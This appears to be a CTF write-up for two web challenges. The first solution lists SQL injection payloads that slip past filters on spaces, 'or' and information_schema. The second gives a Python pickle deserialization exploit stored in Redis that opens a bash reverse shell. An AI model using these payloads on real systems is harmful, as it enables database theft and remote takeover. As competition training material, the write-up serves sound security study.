web1

二次注入，在文章发表广告名存在注入，过滤了or，空格，不能用order by查字段，可以用group by查字段，也不能用information_schema这个库查询，所以通过其他方式查询表，无列名注入，附一个链接 聊一聊bypass information_schema，下面直接给出payload。

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22    //查表
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22    //查表
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22    //无列名注入
-1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/'a','b','c'/**/union/**/select/**/*/**/from/**/users)a),3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1'    //无列名注入

下面给些图理解

web2

登录源码提示redis，redis-cli -h host -p 6379可以链接redis库，弹个shell，找到flag。

import cPickle
import os
import redis
class exp(object):
    def __reduce__(self):
        s = "bash -i >& /dev/tcp/xx/xx 0>&1"
        return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
print s
r = redis.Redis(host='114.67.109.247',password="password", port=6379, db=0)
r.set("session:your_session", s)